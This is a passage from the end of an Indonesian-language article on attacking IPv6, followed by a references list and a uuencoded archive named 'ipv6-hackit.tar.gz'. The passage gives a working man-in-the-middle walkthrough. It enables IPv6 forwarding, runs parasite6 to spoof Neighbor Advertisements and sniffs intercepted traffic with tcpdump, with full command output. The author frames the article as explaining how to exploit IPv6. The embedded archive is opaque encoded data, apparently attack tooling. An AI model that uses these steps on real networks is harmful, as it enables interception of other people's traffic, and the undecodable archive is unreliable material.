Attacker menunggu adanya paket yang melalui kartu jaringannya, Node A mengirim ICMPv6 Echo Request menggunakan ping6.

nodeA~> ping6 2010:5c0:1441:a0a:8891:afaf:7660:5403PING 2010:5c0:1441:a0a:8891:afaf:7660:5403(2010:5c0:1441:a0a:8891:afaf:7660:5403) 56 data bytes64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=1 ttl=64 time=3.76 ms64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=2 ttl=64 time=0.112 ms64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=3 ttl=64 time=0.109 ms64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=4 ttl=64 time=0.113 ms^C--- 2010:5c0:1441:a0a:8891:afaf:7660:5403 ping statistics ---

Page 42: 40490719-0x01-Ipv6-Attack

4 packets transmitted, 4 received, 0% packet loss, time 3006msrtt min/avg/max/mdev = 0.109/1.023/3.760/1.580 ms

Ketika Node A mengirim ICMPv6 Echo Request, maka tcpdump attackermenerima paket sebagai berikut:

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96bytes08:12:21.284158 00:00:1c:dc:fb:66 > 33:33:ff:60:54:03, ethertype IPv6(0x86dd), length 86: (hlim 255, next-header ICMPv6 (58) payload length:32) 2010:5c0:1441:a0a:8891:afaf:7660:5402 > ff02::1:ff60:5403: [icmp6sum ok] ICMP6, neighbor solicitation, length 32, who has2010:5c0:1441:a0a:8891:afaf:7660:5403 source link-address option (1), length 8 (1): 00:00:1c:dc:fb:66

Attacker menerima paket ICMP Neighbor Solicitation (ICMP tipe 135 / NS) yang dikirim ke alamat IPv6 multicast ff02::1ff60:5403: dan menanyakan"Siapa pemilik IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5403". Karena itubukan alamat IPv6 milik attacker, maka ICMP NS itu diabaikan. PaketICMPv6 Echo Request dari Node A tidak di deteksi oleh tcpdump karenapaket dari Node A langsung menuju Node B tanpa melalui kartu jaringanattacker.

--[8.5.1]-- Sniffing Dengan Man In The Middle

Hal pertama yang harus dilakukan adalah mengaktifkan IPv6 Forwarding.Kemudian attacker menjalankan parasite6 dan tcpdump pada mesinnya dengan perintah linux sebagai berikut:sysctl -w net.ipv6.conf.all.forwarding=1parasite6 eth0

kemudian attacker membuka shell linux lain dan mengetikkan:tcpdump -nnev icmp6 and src host 2010:05c0:1441:0a0a:8891:afaf:7660:5402

Attacker menunggu adanya paket yang melalui kartu jaringannya, Node Amengirim ICMPv6 Echo Request menggunakan ping6.

nodeA~> ping6 2010:5c0:1441:a0a:8891:afaf:7660:5403PING 2010:5c0:1441:a0a:8891:afaf:7660:5403(2010:5c0:1441:a0a:8891:afaf:7660:5403) 56 data bytes64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=1 ttl=64time=2.64 ms64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=2 ttl=64time=6.68 ms64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=3 ttl=64time=0.221 ms64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=4 ttl=64time=0.224 ms^C--- 2010:5c0:1441:a0a:8891:afaf:7660:5403 ping statistics ---4 packets transmitted, 4 received, 0% packet loss, time 3010msrtt min/avg/max/mdev = 0.221/2.445/6.688/2.642 ms

Ketika Node A mengirim ICMPv6 Echo Request, maka parasite6 attackermenampilkan pesan berikut:

Page 43: 40490719-0x01-Ipv6-Attack

Remember to enable routing (ip_forwarding), you will denial serviceotherwise!Started ICMP6 Neighbor Solitication Interceptor (Press Control-C to end)...Spoofed packet to 2010:05c0:1441:0a0a:8891:afaf:7660:5402 as2010:05c0:1441:0a0a:8891:afaf:7660:5403Spoofed packet to fe80:0000:0000:0000:0201:6cff:fe9e:e6ab as2010:05c0:1441:0a0a:8891:afaf:7660:5402Spoofed packet to fe80:0000:0000:0000:0201:6cff:fe9e:e6ab as2010:05c0:1441:0a0a:8891:afaf:7660:5403Spoofed packet to fe80:0000:0000:0000:0213:74ff:fe00:5c38 asfe80:0000:0000:0000:0201:6cff:fe9e:e6abSpoofed packet to fe80:0000:0000:0000:0200:1cff:fedc:fb66 asfe80:0000:0000:0000:0201:6cff:fe9e:e6abSpoofed packet to fe80:0000:0000:0000:0201:6cff:fe9e:e6ab asfe80:0000:0000:0000:0213:74ff:fe00:5c38Spoofed packet to fe80:0000:0000:0000:0201:6cff:fe9e:e6ab asfe80:0000:0000:0000:0200:1cff:fedc:fb6

Sedangkan tcpdump mengcapture berbagai paket yang potongan capturetersebut adalah sebagai berikut:

08:27:07.259095 00:00:1c:dc:fb:66 > 33:33:ff:60:54:03, ethertype IPv6(0x86dd), length 86: (hlim 255, next-header ICMPv6 (58) payload length:32) 2010:5c0:1441:a0a:8891:afaf:7660:5402 > ff02::1:ff60:5403: [icmp6sum ok] ICMP6, neighbor solicitation, length 32, who has2010:5c0:1441:a0a:8891:afaf:7660:5403 source link-address option (1), length 8 (1): 00:00:1c:dc:fb:66

08:27:09.270171 00:01:6c:9e:e6:ab > 00:01:6c:9e:e6:ab, ethertype IPv6(0x86dd), length 86: (hlim 255, next-header ICMPv6 (58) payload length:32) 2010:5c0:1441:a0a:8891:afaf:7660:5402 > fe80::201:6cff:fe9e:e6ab:[icmp6 sum ok] ICMP6, neighbor advertisement, length 32, tgt is2010:5c0:1441:a0a:8891:afaf:7660:5402, Flags [solicited, override] destination link-address option (2), length 8 (1):00:01:6c:9e:e6:ab

08:27:10.266998 00:00:1c:dc:fb:66 > 00:01:6c:9e:e6:ab, ethertype IPv6(0x86dd), length 118: (hlim 64, next-header ICMPv6 (58) payload length:64) 2010:5c0:1441:a0a:8891:afaf:7660:5402 >2010:5c0:1441:a0a:8891:afaf:7660:5403: ICMP6, echo request, length 64,seq 4

08:27:10.267025 00:01:6c:9e:e6:ab > 00:13:74:00:5c:38, ethertype IPv6(0x86dd), length 118: (hlim 63, next-header ICMPv6 (58) payload length:64) 2010:5c0:1441:a0a:8891:afaf:7660:5402 >2010:5c0:1441:a0a:8891:afaf:7660:5403: ICMP6, echo request, length 64,seq 4

Attacker menerima paket ICMP Neighbor Solicitation (ICMP tipe 135 / NS)yang dikirim ke alamat IPv6 multicast ff02::1ff60:5403: dan menanyakan"Siapa pemilik IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5403". Parasite6menjawab bahwa dialah pemilik alamat IPv6 tersebut menggunakan ICMPv6Neighbor Advertisement (ICMP tipe 136 / NA ). Node A mengkonfirmasi ICMPNeighbor Advertisement ini.

Pada baris selanjutnya terlihat paket ICMPv6 Echo Request dari 2010:5c0:1441:a0a:8891:afaf:7660:5402 (Node A) menuju2010:5c0:1441:a0a:8891:afaf:7660:5403 (Node B). ICMPv6 dari Node A

Page 44: 40490719-0x01-Ipv6-Attack

melalui kartu jaringan attacker terlebih dahulu untuk selanjutnyaditeruskan ke Node B. Man in the middle pada IPv6 telah berhasil, paketdata bisa di-sniff.

--[9]-- Close Word

A computer lets you make more mistakes faster than any invention inhuman history. How come that future internet is exploitable today?Let us not look forward in fear but arround in awareness!

Finally, i wish this article is nearly complete in explaining how toexploit IPv6 today.

--[10]-- Reference

[i] http://en.wikipedia.org/wiki/IPv6[ii] http://www.ietf.org/rfc/rfc2460.txt[iii] http://www.ietf.org/rfc/rfc3513.txt[iv] http://technet.microsoft.com/en-us/library/bb726997.aspx#ECAA[v] http://en.wikipedia.org/wiki/List_of_IPv6_tunnel_brokers[vi] http://www.ietf.org/rfc/rfc793.txt[vii] http://www.ietf.org/rfc/rfc3493.txt[viii] Joonbok Lee, KAIST, 2004.10.6, IPv6 Socket Programming[ix] http://search.cpan.org/~shlomif/IO-Socket-INET6-2.57/lib/IO/Socket/INET6.pm[x] http://www.packetlevel.ch/html/scapy/scapyipv6.html[xi] http://www.secdev.org/projects/scapy/build_your_own_tools.html[xii] http://www.phrack.com/issues.html?issue=49&id=14#article[xiii] http://milw0rm.com/papers/94[xiv] http://x82.inetcop.org/h0me/papers/FC_exploit/FC_exploit.txt[xv] http://freeworld.thc.org/papers/vh_thc-ipv6_attack.pdf[xvi] http://www.slideshare.net/mbynum/ipv6-fundamentals-presentation[xvii] http://www.milw0rm.com/papers/258

--[11]-- Source Code

begin 644 ipv6-hackit.tar.gzM'XL(`$Y[=DL``^P\_5O;.-+]]?Q73$UID]9);.<+0L-[;`F[O$L+#]"[]SG@MX1Q;(5X2.VL[$&[;^]O?&7TX=CZ`;BF]W4.[-+8T,QI)HYG12)8_NFJ4^HY[MZ2>59]\HF9B:]3K]6LVZE?U5Z9EE5:OU6I/^?V9:5M-L/H/ZMV(HF\9QXD0`MSYP@"6^#NZO\#YK\S/A[;!B6V&0T"!]6&+YH_&W,MVI5L_8T_H^1EHY_;YBPM2<,M)Y/D:^N@`6[4:LO&OV;7FNGX6PT;Q[]1J]K/P'R(!MZ5_LO'?\4/W,'8M8_`V3CP_+/<WM6E6P!*O.Y?EXU_%#_+Y\4U<B4/WDB64KZUXK(=P\./^\=;VM]B&8$W/-K#EFU81*)0Y&D1\DO4(12J5-"+N_>./A"$J'@$(7L^@J13_L*/2:M)?Y#=(A8,HX"<#PO8G$,20A]/X$@'$$\\)&9-UK<9X.!&WILRLG^SLY1YQB@MEN8<[?ZC`Y@LTZYIFMM',4CQ3LZ@#977!V&4=/W`@[]"#=/KBJ:?3JK5TXF[M?CKI6J<3JWDZ\;KXU\,_S&O63B<V_O7PKXOY#/]ZC.!U0G6]TTG=01*6^+4:MIQ.S.GU>(](VYB$ZPU^+4'L<U<+7=7QU$*1!8%BCC=0=1&W4Q5_-$34[:_CKM$!F.NHZU-K!&AQAT!*J'C%OX:V'9&CZ[6+M;%<]5S&=5CMK#&ERLM8Y_ZXC.ML'@-2?4:@D1O79!>=T6^0W]K')69HNE59&@-GUE-=%T5F>M2]S0$9UTL\S"OMB0U8MSFJ4Y]2KR'%)H*LV8+)*J+4D*R'[TTL<YNBO=VN0,4B"U^KV,YZ35"NM(1F/B=YO-D2[>YYHE$>U-@3#R!SK"<J\1_'=K.L;FH;""D/'#PKTX$07K@%<M7%[C\]7)65'[3=,`_%Z!RN`M5(OPFT:B)>5<_Q@[%ZP%JS'TPSB!$8K5::`;MP/'-L^(&AY9R;=+;9Z+(*^F.>ST6G9"TGAGPFA-H"TR+,B["Y*1*XOI;H2"XM*JI9]P;LHC&;6S0^4P74%-_`F7/1-V`07N,_+%`%@0$QMM$@EJZ<@<'GFBR/MDVCL)CS'#WHA_(0("/QZ"S-V,8,>=S>(?:*-?!74+'Z)\[B'B91^$38WP6H0M0:P<9L$(A$"+4T*E-N:O\?=8]JOH&@/TU7AUM;SJ35975[T7_2#W@MW\$OM(M-57H`:-`M99X'FHAHJR*L-<L/B!#-HQ9(BO!7&PX=H%\+QKP"B7'?&5`W;(Y

Page 45: 40490719-0x01-Ipv6-Attack

M?)ZK!0C(YFG$QSW5,Z)]"(4=D`?G!9*%EZ*/32/V_\7"7H&_%GFE_+'L^.<]M9^@/;I#,UL[YQP]'!YUWN6+2S<G-B"'`T?Z[G\^/C@\[6^]Y)6*,L>"")6I4M"TJ^^*^-<B9Y@)=JG'GU*/,"_7G;+.9E_IT3!&&"U.-P<,7P]]<QBQ/F*;V-M'2'EGDW\I&`64['OA5%A:[>M*MK8VGW>_O!Q;V^#,G=+F]B<@$T261^R4(C;MPO849+'H#$.^J;:K]U$4)J$;#HK%MXKI*=NN$[Q*P(V8DS`05*><YG@E;NE?M-PP"YB:%6-&G!F:?<50E0LP"#^&DW&*^\5_>;&QUQ%@J=3G9FJK#S]KW=I/^MM.DV_Y]<L8=8`=SA_]N-ZM3_-QM-]/^;F/OD_S]&JKQ63G>C[`(ZN'F7GO1'M?)NG?X^5P;W6%6C\_.!B#G/@=W/KB8/]PV/0ZY3T-/.'CVBX_R'\^.G*86L;M\VRSMG:W__;;U*VAEI$Z.O>#!NJF<+C(Y4%;AEZ.$\3*7R)3SEVFV.9^E'*<M-K).W`DQ>):SZYR0B6C"KN-K4:J^7[E-'S@7,9GTW?.#K:.CW;]ULH49@[_[MH7/<R)0ML_8I@+(%"&`N=P+(^AC4Y0;G]"6V^"ZKWSD\W#]\GB$R8^:M5/%3MPZ3Y0KI9^P7J/;5@:4YJPR0;\=O%#,Q:L)FZ_1X4:%V'1BDES<U7[HT,&'KSMBVL@]*7T!SYZ.@%2K_.LZ[X_8%@LZ*",2(=/C#I)F3*4-KGVKLM&9%>A,".4MZ,3#2P)'-VQJ7:D;[(Q)1\.,,W',LL8:8:[&@X!%3A<YB>TBM-M0LE*<3.NBM*(Q:D($N9AT!)#\(8TY"9GU>9,B5I*1^PV<Q"S-DZ94:1JLG03BSVA%3^HSFMD>-AWHF8SV+VP(QO;@#-(8&BN)(`$IU/,D%"`5!)@>I/ZU`0"*R`TDB%JDA4M4K)2I.(&1230=1LZ"0@EEC;2'_C)#?19Q"0U[@;Q*O/T,C7*WJ5^>12_9ZG]MC^1#B7(;H\%7N`%WV?]JTU;VOV9;]6>F33[!D_U_C+3RO#*.HPIJL\J(10-MM!0YQO'$-T!'##]OX"GEA*(\&T+V!@[Y9#:S_T[1QS+CHN\D&?[YVH@#G`5K'M%7?D!+"[WVH=<87<:G%+Q:'F<BG0TBL\?[%U^./?<.E)NHG//GAA0AET>+M[M<-6`+;%ZW(2W%)S;1-V$,X?4C-`QO8+`-\^@_6\85@JGWIOB:7G!3V6N`C\&M6K'R:H0IFJ&^8EEKV/*$Q=,5//#X()LP%Q>Y8<!C.SQ8J*VP@``\N/:3/DS6M&I6X[U\ZB7-^X9P'C@_#N*<-;^#%E%8;*!!%83T*,'J>"'FI0&-W[72R3@&JMF@C,K;%LT%&',H_8U40X,1M*I'!CC<*)-1%N5,\48FP@+*M+9-L4M5+PK5['M&O&9K8E(&=5.G*UU10R/0H"VBY6DR#*HV>P)8*K)1/9L&?1T$;%+<4)J5DW$MU[HILB>BA.NV"'$2RQ2/-&W!A4.A3BQW31%P;5*PSI'(ZS7Q1^VI-2DL@^U;M%VWK83-<^FW*D&I7!$)K385LB]BK@[54NZ)&JIGRB<4F]7I5!"69(R*H/5<BM6_AB4R\3$`*8V#Z+PJBN>'9L46NW*H:N0<.ED"G02*RN-20`A3V[%'!<^;!_M`&L-(6M<1BBZW09BU]0188-G,E]F\E@K!4RIZWM$@<L5%L[-LM)FP*X+!XQ%M-).@O0EJPAAD@:B`)A85X-0HI+.1EVZ'Y$93F7(Z>?:Q/V3AF..0P\,KEU&PMMF"]G)7R,N<<M8.<?1(4IR"?;S(WYICE*5Y98(EB_5V?N9=P$XYEU![0_NI$M6DU_FM'9^<AI"_/Z@IR3[ZUY_S/24OM/2T(6"87_E3&`N^R_W:CE[3^6/NW_M/4[ZCUSN+USM\_6#]+I[<D\#R?`E#'^CC1#;-,_DBMT=W10H[D\PE*46..^/M?D2MM$KQ9P/+YT*-WS)<`(\>+X#;`@:9PJ>(P5/$0$4,`#)1>]O0N4/,UP%'MW"C`E5DVK=/@--*-JFVHM6N$+C#!D^[email protected])O&D[@U=XGDO"]M=>:?*67M?]S_-D<`O^S\%]E_NVH]G?]ZE#0S_JB&:UMQ_R%.?4W3'?Z?6:]:M&?^OR<__8?&3__<(:>4YC_W$?6T%COM^#%P"RG&?HB%H.Z]\BF!DHSU[^S_NM[.YUVGIMJX0J/XP\DA9<6Z&)/('2OT!_8>EPIB5]%FC`W'Z(.2:\]<3:D0S=MIJZ"*CU?TWIA!-O[[[=V/Z!O!/]T<2'WPOJGYH4*>]N_N*"XZ@L)5;AV_*2HMH[GP_`LH);"%295^NHC8B.>(I](5G&Y\<JXOX=5O<NEX0AR>(5?USZ\V'H((MG65Y(?ME`QE'U_6/8J2R\W]TD_3#X.%MP)?I?]035M6V[2?]_QAIP?C[L3/PMKUAC=/-`9N`._8^ZWLSH_P:=_T6;\*3_'R-EXO\LN`(A`F@+E!"41S>SEL"<MU+:;MMVQS5JML=/H<,M!KCT!#D//[_D(2(N.%A6-DS#R<:$8!A(LAH,HO(B<MX9"4.@^.'_!JB?@'VDD+X+V3#,)>#U["3N0$+A+^*1[CRGS(PWGQ36R$L1$QM(_&'^`\GB\0TS1TX,7*+SXU"FET6]19;FB@A$X2KII,S#9?YDT0RU0;+A)7=M@,Y`Q<190N8P&`^[N.+!IRXUT&,.M(IHF*X"(C&MHG/%@J2`)0/W,E>PARLQMS$<SPWIP?NX'?G)^7HC9H&>X06+X(V(+9GDMYR#%\4)\*/.`KS]2KRB[R9A8M+UDJRPW'G#4D+BN-QH&@TN*'+2]ZN+1$@'"$ZTT]'6<LT`W=T8L4*O$#8Q2.M$V/$(@KAAG%Y1.#5@LX[$$JN#:483-#?2+8,/5*H9;&DHS=WZ/&X,!"U,C5LMX`<LYF7^14@E$2O'S(G<?D%7>RLD.KHA<"GT+);?!$\MD'LVN-`M3!M<?*-#M"VB7^-U/G>VS*5^:6)BBER).6-X'YPW%H0E1=E;Y.O(35A!DB!LVB-E=K'S8M/X:%["BBTUX"T6\7.`CN9=EQ?QW[D2@1N:G08@\.PRLF1E/T"IT8G8'B>_LBM;RK>)4LPS+-)>LL44"K.Y+D#'(I,S<1/Q#"3<RK$*6#7@F:!-]?H8XVMY2U`M:9'<9.`7-,T9C2C>@/#+JN?$2.0CSGC*!Q]8)_'=(4,MXA72`N28&.:A/&)1M=A=JCS)%\HKPO&VW5&00Q"%M'#JA`T&'-P`*EC84WJ1[D'ND0'9P$,F1Y3!IM=$*CR3(.4,PO9R974>TVDLXJN_0O;P8I'N0M&/&)PF=E6JMU)N<5^<C\Y#=ZMR!QT>8\O$XK->:'(B,1L5V>E@MSM0E[N%P\/SYW*1V`0R^6(@KVC0I%`@C=MM2Q/-(6A41-B@&595TW"._!+2T&F+>TX.VW&8H'7YB3KGR'6"`&U/"U9]?;40M%&E#&)5NX`S9^3E-BU?GYR0.Y^>O6IH4#$VM?/C>%/[&X9!=]W$5TAU?7-S`M-:YC($)5Q.A+$US5P#C`YKE].L6"4IA<A]'E'\7=GTL+_+_$'<78D8_E_UEF

Page 46: 40490719-0x01-Ipv6-Attack

MO5F=\_\:3^O_1TD+_3](7;KX47VZJ1MDR$`_;8P8%),(1_C,O3U4L,K/B_E\MCQ9Z>DGJY<&,FU<W-4Y)>";5W^',+?#EJ`U<W=W'G5.^&F]XFV]1JRSY>0_]MW,=]4W-UZKYMY#9*RG*_1+ZEN_;R/;/58YB<+7(+9.<49/>6Y3N5)]$--P!QM61W_+Z1L&]-&%8M3[T@_V3_H?$A](()\PW?F,4,Y3ASGC4ZJ1\]Y;%^(?(??M1FRG7A>;T*9)*\OHN[W]H\X7<3KOS*E.FS7+:6?>XLCE8+@;IW+F'#E5D'?EM<KE39R[+TW)W;A2DOMSR1D#*DX*?:YOTY&)W>=64_SL\.3^^0H?*:Q0\P:=<M0GP(`Z8M6$^T=,/C#,K5`^DR@IWZ?!X?X>RY+_EQ4LZOD[6/R3_DCJ24%QVAMCM\="$3A>T0:2#=2@Y-2J<\&HT_],_A+2;@8],X+L.FHU#Z5DC,JXB\0"X<HMRP:']8,2R=BGDI\!YMHM[.6@R9<B2(Y%@OJI-,J@4$X9WH\'B3_">N@552@;M.9&3B)6]&PZ'#L=&!7V!-489=)XEB70FZ&-9IEFR352FU!%33YN[UBV4KBN?M7+5T?*3>$B]#4;MZC?*O&1<ZI^!(9J4&0GL0\^\G8[$#C>]E\<,9,$#O)RV_M-6I%*`5PHE//HX(4_=[&)]FK]$B5TR]O85NG!>=4.<A1S\N#FK#$!9^GYE)0MX>R&R"L-#R&TQ(0/Z;V@E_I8LY`4G<^]#)E<E>A]9[`2CB6:(_'2_B9EY<QAM^!Q#-ENBR#%9C##B"-0Y$CH=M,7P$8?GG2@1H@4(<@6!YINA\=MQ,`,':QSTMG<`;H!AB#_DAJG'12;)-6,9YS6KKSN'A<R@E%=4+@&+"YW$7/?18';LL^96TMT<]!G^M4K$,VB^H0#,_7,JJ(CEA21U21[9ZO(=<,J6B4#IKJ,U'.H3,<S8)#MT#:GYPIF5D/4IX.!ZG!!H1R/!LC%*^.5`.#++FH&#I@"%I27:GQ89IPV%QDGM26RIUL^6Y9>6D)&-VPFHHJGAHG.*W"X;JA\YH%QKRG:CZ<)6YQJ1-EVM,T&>M?)!COX,^6]P7..36"C<@H`"/'*!`*6WR%?0E8R-/4V2E3E:$/1M]]5!'N:$NM+1AJ+IJ\EQ0:?7-NY#*LLV+Q212FHO`-Y&!6#(1JX"IX=OA[RL&G4A5:Y:$BM+A43];"X$FJCQT2PJ"=:=HM2N5MMW*8W;I.6WR,NM\K+<H')2<R]9&Z1S%"GMY<)5>=FY0WAFI>>6V7WW_/V:"?PT)DO'9(*(D#'O]YG:(F]">32]^=I@T<R;MC37J*M:HJUCC-*[;0B?S>X=^>,K&_Q+LZF]Q`NS+]O\I_F<W&D_[_X^2YL8_M)+EOE.*;X+'V_RVS6ILY_]4P[>93_/<QTK+]?_X-$/_&AN'J-94).@X@/FI;M=!!@&LKERG!VLZTZ#9W<?Z]MYGL_5+[Y_;:5(]=!IJY8%..Z$6P(&'*7X*)4M,$,Q:]+O*,UH*[7\JP)ZK8W:<605J$8*+K4S.W#%RO&[@X+'@P1DEM(B&TTPM/W'?UH]T=#A9U`UCUC8-&2]MV[2W=!S=D&'IA1"':`6"&VXT8CC:`G%<'Y>`M8^X!6FO4::.R/,7?Q@R8]I@*A-*]0E/F>$?)#LPPIDG3FPML5G9V#SM_W]K;M.[LGD>\MFT_IVZ<E^O]![GU4Z<[OOVKFC/ZOHPOPI/\?(RW\_.JNS[1F/_#ZMXF_$%G]JEGXGIE5>:T(.R^Z=I\]R>_>X2AC1%6.!E]^UA/\-PZ`;7L(>8]H!M&A06T$8#*CVG2_N`(H3/FY#=R=1>5^[U.1@_!;3DPKQ[WY<G[P]$.RD^S,E=M'@C\]L"WV7!_YA/XF9L$I[=U?=;NOD/N]BOD[G&#W%=<(#?W7=B7WAZ7;:KVM15>H8=6Y:]/:;;4[*KK_02Y8N]?U:MG+U?AU+6[[_I>K(9MN>^ZC.NDMH,B@MB(MO'6<&1%9'CL(,ZHRS<`\BVD)"J_'B&Q44D;NO@/NL??[>^O'/GI;8_Z^ZM[V4VW?7]3\.:_?ZG;IM/Y[\?)<W?_[)@Y4<7OBQ?]3W^+2^_]W*+_/46B@59M-'^W17&#WR<33WE4>C6]9`(5HR+#>51J<,G"ZQ;$[S3^V?E/UU^][SQ\';?.M?[M1KT[GOVU7JQ3_JS=J3_/_,9)=@Y_"<13#%FP[-P943;-BV:8)/SAC3WG*M<;E<UG">/T#2CO=_[AQ#"8Y9U/43U!O[=-*#P<_,#9U+Z`S891*%@7^I;;,>M"SSQ)08#?N+/=]'/)&EER/&0+EZ*<?7`P%I?KVO:P;@[\.,^JJT6])-DU*I4MKJ^ORY><<HFEE,NXT-#>A;@"0+\<$!A%H-?[ZV*X!VFTIAV-N[\P69V\6HM:MMC-.QA%JR2!A$=:&_4*M=G@9*4+M[W2$+0*.)S_!A(*XKN)_BO=NQ%%R,V`@MJ'P,?+Y:.HZ<(!87U]$Z:$=<85?X>+Q36BLBQZ42ZJ92:7Y@8,]W61`S39LOMBIGK1`XXEPGM..+PC2_'V)0?*,1UZ'>[6-$[9SAR_(N@K/V,'B&"[email protected]_Y^]:V]NVTCR?VL^Q:3V=F5M1(@`P6<L9Q5+CIUU9*TD)[>72E(@`9(0`8+!M0[*J7/?9KW\],WCP(<MV[FYK*TI*AC`SW3T]W3W=/0]X<T\6R[Q8H"%+!XJRM("ZP=88IS4)Y[Q&\!;=<SF;>2JR\G`(X/Z19P)L7X:$<>T2(GRP*`B/S8,'[MA'(JCRB,N_$B;TXO<J^069%2CQ?>V$LM<15$15K,Y2(-_#!79/DA$1;B:1&LM/-^3&9"O@N7,PY*<M8T#>>C3"VJ7@SYT_L:[\\;`F%'ATF?("=K+B"8<2[QJM]LT/,^\F5.A)O'&^)UQ2;WU0KAF4%S<%5<`^N]!'7>%[RXI)1$A$)$2$RI+?M43D"8@^1((E;!M`EGV<!R",IFBLHD1=32R[U5MZJ6*ZS/D>B-5ZMD7?(&$0,MG`40<'>):T#(HTB4IE0-="H690$S`2BR`)Q0(#[$.>`/QD5.S#\-5R`F8MIKM7?+B,?6?:GFS4)%2``4/K^^E(84EH1$)4<E37LJ<#R!`E7LK0*3H+2]BE@,MM'2"IE`-F_C9=(`*\$/48,LWYL'26/-'2J(=[4>3A2C"5?JAH5QSR:00@V=1+M8H=7=9+X&N#&#A"Y2&)F@J54UH'*DCE)$[^80+&%^&<`B4=XM6!C&D816U0:MDB\D[,OF6^1/\$>,;<@J1TXLP'WY\!0VJ@O!3AL14JR83(Z$%TF$Q(@R;-S7MK/!)A.."1ANGKG6?F,VAA(C-14JB`-N1$9_))['D!?3NALP=67XR72R,Y(C>M$G"[+5^>6O+[)"$32L*ME540<VX(3,:PESGK;)ID02;UY5809E!LR6\":D1LMEEI6(!XB+V@:87T*`1;M6:PFA60K8,I?GFK<9J13LMTIF48"H?ITX_$89:RZM=;!C5A)>M)`Y#'&$Q``+IZXF2D&75\RV.=G-,)4="3,'F/<>S,PB(,Y4,LL#M`7E$IYCI`,0P85EJEH3%E]2=ARL<>[Y6\%@/$OV&929:).GU\@855C2O+&<+

Page 47: 40490719-0x01-Ipv6-Attack

MTHJRJ\JT&#XS5V$6E\"/,2$H&;_^6FD905%SE*SF*&+)C/2?S1&U``8,Q1)XM_>".1I*%BH9BSO0:;%H:#[5@44<C+RIH+)?W!+\:#2.U&&3L-AZ'`>@@DY(LM@RSTF&$*1N9Y.;66=QXI?=FO$@(K8U1XF25_)!@)LCHH(PG-<D1'9/!8GV(OM"B=A0M;Q[>5KN0A]:B&NYUZ^G\EQE"3^/5]:-YD'WNH+>3+%)#^!+.&D$0"0MI*>>RAW"0_#20*SNEH%_B*0*'TV%^F$M"8M=8[YXUD_NEG*J7(I2\_+$]^Z_M_H)<D(3OHI5W@9PETLNJ*B17)'X9KJ5=3N;85IPM2,%)S59!@KW"O,VQ-`C(MU_A)G,W#%>(8`T8YB62#.FR#X+U\V"Z0UA/[`\PGQAQ"H'F.C(*Y?'5V_4)DM-$DMM-R3JS<@E<@A=JG,5C1^4])ZK=%-1?53;YK+RQ?/I>/VVC0`915C>VQGMT()IG@?O/&V0M:PO6)FTBA)),?26!#(.(S),--XQE(@5*"<]IZDE"L;AW`@?MJS*A<PDH39)D(LB:$<'_+9Q?"*G\*?S9TNPA$?!I],T=PD%6P#PJ=3:T4_WPM9Z6,-/\4RYMBH9PC-CR"+1\.!2*4_;+UF?\!R/L?U(+J>_B)TVDXD<_YR,U[M6?V\P#=47GOD:,B-G_>_'R4ES`OO/DH\7[XFWI`\&DQ2G@?O<OE2L9'KOTQ6MY*7&8?Z_1,FG_2A*/A/(_P4E5Q014E2EDS#_GY0\[N=WI.0/.7DL):=!1A.5M"AX?E)1_2YY\MIP(BE>#E/U#F.V6U`97[NVY$E/2OM[2L@\O#Q'+,HF35$](M-#,=2_*TD$AIV.>]@6J<Z[><-MDW<VLSC$!']O;V,!^&/@(*/9&2.YBD(8<XM'A9$E:L,7#6+O[?GM!6J*5Y&>+F_@>(?R94`"O*ER+4C'$SRFB'?LWL*4D'.MV@P'N.$>S()TOYR1RQD/T(H%!>Y+19RBJSX![&D6F*;K?5,>".#D<`_)F<THM(*$B1*&$!NX?4UE.(@;B+OHHVJ;PE9Q&0"#_$[#AF1<<Y-L2T3Q1$I$GFP/-MN"#/@4^4IXQHW=SNP4&H=Z'LO78WR&>*=/<%IXRV:.*'8)@4@H(BOD]\&M0RM)LB5]U-WE4IGJ*?\$!4*D3],0QU./)S_%.3[J*?8*Q#8QSALAC>6\LY47,M^M/N(Y;CU.2114'7'Q./P-)P\N4J=K=^`BP:DZ3SB^HZ[H>(LQ:]>)`ACO!JY9MLVF5E6#W7@J.%#C$*M,*'$*1I"":1&.34^+LAX[WN`6#0.@2S#R5;(F,*`9+ME0^@3B801T,=^XAD!D:C(QHWB/B2/-N)VK]@S@*.1K8NI?AA-4;488KP33UJM2V4EQZNR8(`RNTWMPN6B%25(HNHQH]*)*<W"/%@K#8CC]Q1L$/E8V-C;FT7)MN%8NC$"J<2\S%BJ+P3ZPKJ%;U#B-$1'(L*F\CLX<4H2:>XO,^+_-UCH;4`X;MM>$4AV/U+1OA+>)EE4_48?TJ#5KJ,F'?P*K)Y(EZH[UGH9,J52ZQGL*9\2N5M="-=,L$NL$X2L$G^19AMY*1/-"(V#1AQ5><O2=FGWL0P6#G^'$Q-VTZM8FV(M&G6ZM3JU@6K4(83.@PB5S=$HG5TH&[6ZNY#J6JRR-=8P`SF;5\J[WK.B<B`ZM<F>V8E:HI0Q);^:(;3AC4HR7`4?2-.95.J>F0U5=Q&5&\'*B52MWE0&>S#G2M#"=IDB44$/X4WOY,(608L>"E`?UN\6_1C!Y+`"H1P[++$PHR=I*L._0WXG3%MG`L424(1KX"HN?.M-B(QT<U]X2MWD_F6/G.+0Q/1*8NB*NN`K_":S2(R521PM5ZH$QJU*!#ENNS?RVF0<INWI=.2VV4QTVSKA0MH'.P<(6N&$R^%PQ7ZRY`O.M,_DT`*E,BYCSN0]S6'":!/$[V;2M-(BGK=K/,^%R&"Z$8=22!Q0]YLE5OCA4M$]G<2PLDLLHTLQ(K,%^>G)]*#*+6<Z6=RHR0&9B&[S!%-S+<XQ#G1>3WN*=GM6=KZ,=EFH75;97H5EI&.U_?6>M2VVXT?ZEVWC>[LX0NFH^J7O5EQK\$'8L2>MX03UYA&(SM7U,^L#O:6FT(PT+)O3]!,QSQIV>I-K:JPA%8N@